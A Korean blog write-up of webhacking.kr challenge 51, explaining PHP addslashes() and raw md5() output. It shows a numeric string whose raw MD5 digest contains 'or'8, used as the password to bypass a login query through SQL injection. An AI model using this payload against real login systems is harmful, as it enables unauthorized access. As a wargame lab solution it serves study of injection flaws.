먼저 제일 눈에 띈 view-source 클릭 !
addslashes() : 어떤 문자열을 데이터베이스의 필드값으로 저장하기 전에 사용되는 함수로, 문자열에 특수문자(작은 따옴표, 쌍 따옴표 등)가 포함되어 있다면 그러한 문자앞에 역슬래시를 붙여줌으로써 특수문자가 순수한 하나의 문자로 인식되어 저장
md5("문자열", true) : 문자열을 16자리의 바이너리 형식의 해쉬값으로 반환
php 코드를 해석해보면, 먼저 POST방식으로 입력한 id값($_POST['id'])과 pw값($_POST['pw'])을 받는다.
$_POST['id']와 $_POST['pw']는 select문의 id와 pw값으로 쓰이는데, 이 때 id가 존재하면 문제가 풀린다.
이 문제를 풀기위해서는 md5 취약점을 이용해야한다.
$_POST['pw']를 md5 해시값으로 만들었을 때, or 연산자가 나오게 하는 값을 찾아서 넣어주면 공격이 가능하다.
>>> import hashlib
>>> hashlib.md5('129581926211651571912466741651878684928'.encode()).digest()
b"\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8"
129581926211651571912466741651878684928 값을 md5인코딩하면 or이 나오는 것을 볼 수 있다. (검색해서 찾음..ㅎㅅㅎ)
따라서 $input_id에 admin을 넣고, $input_pw에 129581926211651571912466741651878684928를 넣어주면 문제가 해결된다 !
$input_id = admin
$input_pw = md5('129581926211651571912466741651878684928', true)
=> $input_pw = \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
select id from chall51 where id='($input_id)' and pw='($input_pw)'
=> select id from chall51 where id='admin' and pw='\\x06\\xdaT0D\\x9f\\x8fo#\\xdf\\xc1' or '8'
=> select id from chall51 where False or True => True가 된다 (◍•ᴗ•◍) !
참고
>> https://bbolmin.tistory.com/77
>> https://dydwo15.tistory.com/entry/addslashes-%ED%95%A8%EC%88%98
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 56번 (0) | 2020.02.17 |
---|---|
webhacking.kr 54번 (0) | 2020.02.16 |
webhacking.kr 47번 (0) | 2020.02.14 |
webhacking.kr 43번 (0) | 2020.02.13 |
webhacking.kr 42번 (0) | 2020.02.13 |